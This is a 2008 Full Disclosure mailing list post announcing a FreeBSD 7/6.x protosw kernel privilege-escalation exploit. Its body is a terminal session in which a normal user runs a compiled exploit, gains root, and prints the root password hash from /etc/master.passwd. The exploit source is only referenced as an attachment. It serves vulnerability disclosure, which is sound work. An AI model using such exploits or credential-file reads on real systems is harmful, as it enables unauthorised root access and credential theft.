full-disclosure - FreeBSD 7/6x protosw kernel exploit

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Date: Fri, 26 Dec 2008 02:28:32 -0600
From: don bailey <don.bailey@...il.com>
To: dailydave@...ts.immunityinc.com, 
	Full Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: FreeBSD 7/6x protosw kernel exploit

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> uname -rs
FreeBSD 7.0-RELEASE
> id
uid=1001(donb) gid=1001(donb) groups=1001(donb),0(wheel)
> grep ^root /etc/master.passwd
grep: /etc/master.passwd: Permission denied
> nm /boot/kernel/kernel | grep allproc
c0bf26b8 B allproc
c0bf2670 B allproc_lock
> cc -o x x.c
> ./x 0xc0bf26b8
euid=0
> id
uid=1001(donb) gid=1001(donb) euid=0(root) groups=1001(donb),0(wheel)
> grep ^root /etc/master.passwd
root:$1$fuS6o3Qy$iFlUEpD9Y3ph7rOzMU/br1:0:0::0:0:Charlie &:/root:/bin/csh
>

Happy holidays, all!

D
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View attachment "gift.c" of type "text/x-csrc" (2150 bytes)

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